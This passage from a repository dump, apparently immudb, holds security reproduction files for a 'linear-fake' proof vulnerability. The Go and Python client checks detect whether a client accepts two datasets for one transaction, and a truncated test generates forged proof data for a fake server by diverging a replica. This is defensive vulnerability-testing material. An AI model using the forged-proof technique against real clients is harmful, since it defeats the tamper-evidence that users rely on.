v0.0.0-20210303154014-9728d6b83eeb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=\ngoogle.golang.org/genproto v0.0.0-20210310155132-4ce2db91004e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=\ngoogle.golang.org/genproto v0.0.0-20210319143718-93e7006c17a6/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=\ngoogle.golang.org/genproto v0.0.0-20210402141018-6c239bbf2bb1/go.mod h1:9lPAdzaEmUacj36I+k7YKbEc5CXzPIeORRgDAUOu28A=\ngoogle.golang.org/genproto v0.0.0-20210513213006-bf773b8c8384/go.mod h1:P3QM42oQyzQSnHPnZ/vqoCdDmzH28fzWByN9asMeM8A=\ngoogle.golang.org/genproto v0.0.0-20210602131652-f16073e35f0c/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0=\ngoogle.golang.org/genproto v0.0.0-20210604141403-392c879c8b08/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0=\ngoogle.golang.org/genproto v0.0.0-20210608205507-b6d2f5bf0d7d/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0=\ngoogle.golang.org/genproto v0.0.0-20210624195500-8bfb893ecb84/go.mod h1:SzzZ/N+nwJDaO1kznhnlzqS8ocJICar6hYhVyhi++24=\ngoogle.golang.org/genproto v0.0.0-20210713002101-d411969a0d9a/go.mod h1:AxrInvYm1dci+enl5hChSFPOmmUF1+uAa/UsgNRWd7k=\ngoogle.golang.org/genproto v0.0.0-20210716133855-ce7ef5c701ea/go.mod h1:AxrInvYm1dci+enl5hChSFPOmmUF1+uAa/UsgNRWd7k=\ngoogle.golang.org/genproto v0.0.0-20210728212813-7823e685a01f/go.mod h1:ob2IJxKrgPT52GcgX759i1sleT07tiKowYBGbczaW48=\ngoogle.golang.org/genproto v0.0.0-20210805201207-89edb61ffb67/go.mod h1:ob2IJxKrgPT52GcgX759i1sleT07tiKowYBGbczaW48=\ngoogle.golang.org/genproto v0.0.0-20210813162853-db860fec028c/go.mod h1:cFeNkxwySK631ADgubI+/XFU/xp8FD5KIVV4rj8UC5w=\ngoogle.golang.org/genproto v0.0.0-20210821163610-241b8fcbd6c8/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY=\ngoogle.golang.org/genproto v0.0.0-20210828152312-66f60bf46e71/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY=\ngoogle.golang.org/genproto v0.0.0-20210831024726-fe130286e0e2/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY=\ngoogle.golang.org/genproto v0.0.0-20210903162649-d08c68adba83/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY=\ngoogle.golang.org/genproto v0.0.0-20210909211513-a8c4777a87af/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY=\ngoogle.golang.org/genproto v0.0.0-20210924002016-3dee208752a0/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc=\ngoogle.golang.org/genproto v0.0.0-20211008145708-270636b82663/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc=\ngoogle.golang.org/genproto v0.0.0-20211028162531-8db9c33dc351/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc=\ngoogle.golang.org/genproto v0.0.0-20211118181313-81c1377c94b1/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc=\ngoogle.golang.org/genproto v0.0.0-20211206160659-862468c7d6e0/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc=\ngoogle.golang.org/genproto v0.0.0-20211208223120-3a66f561d7aa/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc=\ngoogle.golang.org/genproto v0.0.0-20211221195035-429b39de9b1c/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc=\ngoogle.golang.org/genproto v0.0.0-20220126215142-9970aeb2e350/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc=\ngoogle.golang.org/genproto v0.0.0-20220207164111-0872dc986b00/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc=\ngoogle.golang.org/genproto v0.0.0-20220218161850-94dd64e39d7c/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI=\ngoogle.golang.org/genproto v0.0.0-20220222213610-43724f9ea8cf/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI=\ngoogle.golang.org/genproto v0.0.0-20220304144024-325a89244dc8/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI=\ngoogle.golang.org/genproto v0.0.0-20220310185008-1973136f34c6/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI=\ngoogle.golang.org/genproto v0.0.0-20220324131243-acbaeb5b85eb/go.mod h1:hAL49I2IFola2sVEjAn7MEwsja0xp51I0tlGAf9hz4E=\ngoogle.golang.org/genproto v0.0.0-20220407144326-9054f6ed7bac/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo=\ngoogle.golang.org/genproto v0.0.0-20220413183235-5e96e2839df9/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo=\ngoogle.golang.org/genproto v0.0.0-20220414192740-2d67ff6cf2b4/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo=\ngoogle.golang.org/genproto v0.0.0-20220421151946-72621c1f0bd3/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo=\ngoogle.golang.org/genproto v0.0.0-20220429170224-98d788798c3e/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo=\ngoogle.golang.org/genproto v0.0.0-20220505152158-f39f71e6c8f3/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4=\ngoogle.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4=\ngoogle.golang.org/genproto v0.0.0-20230110181048-76db0878b65f h1:BWUVssLB0HVOSY78gIdvk1dTVYtT1y8SBWtPYuTJ/6w=\ngoogle.golang.org/genproto v0.0.0-20230110181048-76db0878b65f/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM=\ngoogle.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=\ngoogle.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38=\ngoogle.golang.org/grpc v1.21.0/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM=\ngoogle.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM=\ngoogle.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=\ngoogle.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=\ngoogle.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=\ngoogle.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=\ngoogle.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=\ngoogle.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60=\ngoogle.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=\ngoogle.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=\ngoogle.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=\ngoogle.golang.org/grpc v1.31.1/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=\ngoogle.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTpR3n0=\ngoogle.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc=\ngoogle.golang.org/grpc v1.34.0/go.mod h1:WotjhfgOW/POjDeRt8vscBtXq+2VjORFy659qA51WJ8=\ngoogle.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU=\ngoogle.golang.org/grpc v1.36.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU=\ngoogle.golang.org/grpc v1.36.1/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU=\ngoogle.golang.org/grpc v1.37.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM=\ngoogle.golang.org/grpc v1.37.1/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM=\ngoogle.golang.org/grpc v1.38.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM=\ngoogle.golang.org/grpc v1.39.0/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE=\ngoogle.golang.org/grpc v1.39.1/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE=\ngoogle.golang.org/grpc v1.40.0/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34=\ngoogle.golang.org/grpc v1.40.1/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34=\ngoogle.golang.org/grpc v1.44.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU=\ngoogle.golang.org/grpc v1.45.0/go.mod h1:lN7owxKUQEqMfSyQikvvk5tf/6zMPsrK+ONuO11+0rQ=\ngoogle.golang.org/grpc v1.46.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk=\ngoogle.golang.org/grpc v1.46.2/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk=\ngoogle.golang.org/grpc v1.53.0 h1:LAv2ds7cmFV/XTS3XG1NneeENYrXGmorPxsBbptIjNc=\ngoogle.golang.org/grpc v1.53.0/go.mod h1:OnIrk0ipVdj4N5d9IUoFUx72/VlD7+jUsHwZgwSMQpw=\ngoogle.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0/go.mod h1:6Kw0yEErY5E/yWrBtf03jp27GLLJujG4z/JK95pnjjw=\ngoogle.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=\ngoogle.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=\ngoogle.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=\ngoogle.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=\ngoogle.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=\ngoogle.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=\ngoogle.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=\ngoogle.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=\ngoogle.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4=\ngoogle.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c=\ngoogle.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=\ngoogle.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=\ngoogle.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=\ngoogle.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=\ngoogle.golang.org/protobuf v1.28.1 h1:d0NfwRgPtno5B1Wa6L2DAG+KivqkdutMf1UhdNx175w=\ngoogle.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=\ngopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw=\ngopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo=\ngopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=\ngopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s=\ngopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=\ngopkg.in/ini.v1 v1.57.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=\ngopkg.in/ini.v1 v1.62.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=\ngopkg.in/ini.v1 v1.66.4/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=\ngopkg.in/ini.v1 v1.66.6 h1:LATuAqN/shcYAOkv3wl2L4rkaKqkcgTBQjOyYDvcPKI=\ngopkg.in/ini.v1 v1.66.6/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=\ngopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo=\ngopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74=\ngopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=\ngopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=\ngopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\ngopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\ngopkg.in/yaml.v3 v3.0.0/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\ngopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=\ngopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\ngotest.tools/v3 v3.0.2/go.mod h1:3SzNCllyD9/Y+b5r9JIKQ474KzkZyqLqEfYqMsX94Bk=\ngotest.tools/v3 v3.2.0/go.mod h1:Mcr9QNxkg0uMvy/YElmo4SpXgJKWgQvYrT7Kw5RzJ1A=\nhonnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=\nhonnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=\nhonnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=\nhonnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=\nhonnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=\nhonnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=\nhonnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=\nrsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=\nrsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0=\nrsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA=\nsigs.k8s.io/yaml v1.2.0/go.mod h1:yfXDCHCao9+ENCvLSE62v9VSji2MKu5jeNfTrofGhJc=\n"
  },
  {
    "path": "docs/security/vulnerabilities/linear-fake/go/main.go",
    "content": "package main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\timmudb \"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/client/state\"\n)\n\nfunc verifyTxRead(client immudb.ImmuClient, txID uint64, stateService state.StateService) (string, error) {\n\n\tlog.Printf(\"Reading Tx %d\", txID)\n\n\ttx, err := client.VerifiedTxByID(context.Background(), txID)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tlog.Printf(\"  Keys from verified read:\")\n\tkey := \"\"\n\tfor _, e := range tx.GetEntries() {\n\t\tkey = string(e.GetKey())\n\t\tlog.Printf(\"     %s\", key)\n\t}\n\tif len(tx.GetEntries()) != 1 {\n\t\treturn \"\", fmt.Errorf(\n\t\t\t\"Invalid test dataset - expected only a single key in transaction %d, found %d\",\n\t\t\ttxID,\n\t\t\tlen(tx.GetEntries()),\n\t\t)\n\t}\n\n\terr = stateService.CacheLock()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tstate, err := stateService.GetState(context.Background(), \"defaultdb\")\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tlog.Print(\"  Client verified state:\")\n\tlog.Printf(\"   TxID: %d\", state.TxId)\n\tlog.Printf(\"   Hash: %x\", state.TxHash)\n\n\terr = stateService.CacheUnlock()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn key, nil\n}\n\nfunc checkCorruptedErr(err error) bool {\n\tif err == nil {\n\t\treturn false\n\t}\n\n\tif strings.Contains(err.Error(), \"corrupted\") {\n\t\tlog.Print(\"SUCCESS: Client version not vulnerable\")\n\t\treturn true\n\t}\n\n\tlog.Fatal(err)\n\treturn false\n}\n\nfunc main() {\n\topts := immudb.DefaultOptions().\n\t\tWithAddress(\"localhost\").\n\t\tWithPort(3322)\n\n\tctx := context.Background()\n\n\t// Remove any old state that could be problematic here,\n\t// The test needs to perform test starting with no state\n\tlist, err := filepath.Glob(\".state-*\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tfor _, e := range list {\n\t\terr := os.Remove(e)\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t}\n\n\tclient := immudb.NewClient().WithOptions(opts)\n\terr = client.OpenSession(ctx, []byte(`immudb`), []byte(`immudb`), \"defaultdb\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tdefer client.CloseSession(ctx)\n\n\tkey2, err := verifyTxRead(client, 2, client.StateService)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t_, err = verifyTxRead(client, 3, client.StateService)\n\tif checkCorruptedErr(err) {\n\t\treturn\n\t}\n\n\t_, err = verifyTxRead(client, 5, client.StateService)\n\tif checkCorruptedErr(err) {\n\t\treturn\n\t}\n\n\tkey2Fake, err := verifyTxRead(client, 2, client.StateService)\n\tif checkCorruptedErr(err) {\n\t\treturn\n\t}\n\n\tif key2 == key2Fake {\n\t\tlog.Fatal(\"WARNING: Confusing results - are you running against normal immudb server?\")\n\t}\n\n\tlog.Fatalf(\n\t\t\"FAILURE: Client is vulnerable, was able to read two different datasets for same transaction: '%s' and '%s'\",\n\t\tkey2,\n\t\tkey2Fake,\n\t)\n}\n"
  },
  {
    "path": "docs/security/vulnerabilities/linear-fake/python/.gitignore",
    "content": "Pipfile.lock\n"
  },
  {
    "path": "docs/security/vulnerabilities/linear-fake/python/Pipfile",
    "content": "[[source]]\nurl = \"https://pypi.python.org/simple\"\nverify_ssl = true\nname = \"pypi\"\n\n[packages]\nimmudb-py = \"*\"\n\n[dev-packages]\n\n[requires]\npython_version = \"3\"\n"
  },
  {
    "path": "docs/security/vulnerabilities/linear-fake/python/main.py",
    "content": "from immudb import ImmudbClient, exceptions\nimport sys\n\nURL = \"localhost:3322\"  # immudb running on your machine\nLOGIN = \"immudb\"        # Default username\nPASSWORD = \"immudb\"     # Default password\nDB = b\"defaultdb\"       # Default database name (must be in bytes)\n\n\ndef main():\n    client = ImmudbClient(URL)\n    try:\n        # database parameter is optional\n        client.login(LOGIN, PASSWORD, database=DB)\n\n        tx2 = client.verifiedTxById(2)\n        print(tx2)\n\n        tx3 = client.verifiedTxById(3)\n        print(tx3)\n\n        tx5 = client.verifiedTxById(5)\n        print(tx5)\n\n        tx2faked = client.verifiedTxById(2)\n        print(tx2faked)\n\n        if tx2 != tx2faked:\n            print(\"Client library is vulnerable, following distinct key sets retrieved for TX 2: {} / {}\".format(tx2, tx2faked))\n            sys.exit(1)\n\n        print(\"Suspicious data received from the server, are you using fake server?\")\n        sys.exit(1)\n\n    except exceptions.ErrCorruptedData as e:\n        print(\"Successfully detected invalid proof\")\n\n    finally:\n        client.logout()\n\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "docs/security/vulnerabilities/linear-fake/server/data_generation/state_values_generation_test.go",
    "content": "//go:build ignore\n// +build ignore\n\n/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage store\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/pkg/fs\"\n\t\"github.com/stretchr/testify/require\"\n)\n\n// TestVerifyDualProofLongLinearProofWithReplica is a test function that can generate the test data\n// stored into `state-values.go` file. Note that this test should be run from within the `embedded/store`\n// package of an older immudb version since it does access internals of the store.\nfunc TestVerifyDualProofLongLinearProofWithReplica(t *testing.T) {\n\ttoKV := func(s string) []byte { return append([]byte{0}, s...) }\n\n\t// Create two databases, initially those replicate themselves but diverge at some point\n\topts := DefaultOptions().WithSynced(false).WithMaxLinearProofLen(10).WithMaxConcurrency(1)\n\timmuStore, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\tdefer immustoreClose(t, immuStore)\n\n\topts = DefaultOptions().WithSynced(false).WithMaxLinearProofLen(0).WithMaxConcurrency(1)\n\timmuStoreRep, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\tdefer immustoreClose(t, immuStoreRep)\n\n\tt.Run(\"add first normal transaction\", func(t *testing.T) {\n\t\ttx, err := immuStore.NewWriteOnlyTx()\n\t\trequire.NoError(t, err)\n\n\t\terr = tx.Set(toKV(\"key\"), nil, toKV(\"value\"))\n\t\trequire.NoError(t, err)\n\n\t\thdr, err := tx.Commit()\n\t\trequire.NoError(t, err)\n\t\trequire.EqualValues(t, 1, hdr.ID)\n\t\trequire.EqualValues(t, 0, hdr.BlTxID)\n\n\t\ttxholder := tempTxHolder(t, immuStore)\n\t\tetx, err := immuStore.ExportTx(1, false, txholder)\n\t\trequire.NoError(t, err)\n\n\t\t_, err = immuStoreRep.ReplicateTx(etx, false)\n\t\trequire.NoError(t, err)\n\t})\n\n\tvar alhValuesToInject [][sha256.Size]byte\n\n\tt.Run(\"diverge replica from the primary\", func(t *testing.T) {\n\t\ttx, err := immuStoreRep.NewWriteOnlyTx()\n\t\trequire.NoError(t, err)\n\n\t\terr = tx.Set(toKV(\"fake-key\"), nil, toKV(\"fake-value\"))\n\t\trequire.NoError(t, err)\n\n\t\thdr, err := tx.Commit()\n\t\trequire.NoError(t, err)\n\t\trequire.EqualValues(t, 2, hdr.ID)\n\t\trequire.EqualValues(t, 1, hdr.BlTxID)\n\n\t\talhValuesToInject = append(alhValuesToInject, hdr.Alh())\n\t})\n\n\tt.Run(\"generate long linear proof in primary\", func(t *testing.T) {\n\t\timmuStore.blDone <- struct{}{}                  // Disable binary linking - we'll be adding entries ourselves\n\t\tdefer func() { go immuStore.binaryLinking() }() // To enable clean shutdown of the immustore, note this has to run before we continue\n\n\t\tfor i := 0; i < 2; i++ {\n\t\t\t// Gather long linear proof by discarding the AHT operations\n\t\t\ttx, err := immuStore.NewWriteOnlyTx()\n\t\t\trequire.NoError(t, err)\n\n\t\t\terr = tx.Set(\n\t\t\t\ttoKV(fmt.Sprintf(\"valid-key-%d\", i)),\n\t\t\t\tnil,\n\t\t\t\ttoKV(fmt.Sprintf(\"valid-value-%d\", i)),\n\t\t\t)\n\t\t\trequire.NoError(t, err)\n\n\t\t\thdr, err := tx.Commit()\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.EqualValues(t, i+2, hdr.ID)\n\t\t\trequire.EqualValues(t, 1, hdr.BlTxID)\n\n\t\t\t<-immuStore.blBuffer // Remove the entry waiting in the buffer\n\n\t\t\tif i != 0 {\n\t\t\t\talhValuesToInject = append(alhValuesToInject, hdr.Alh())\n\t\t\t}\n\t\t}\n\t})\n\n\tt.Run(\"inject Alh values to Merkle Tree (including Alh from diverged replica)\", func(t *testing.T) {\n\t\trequire.EqualValues(t, 1, 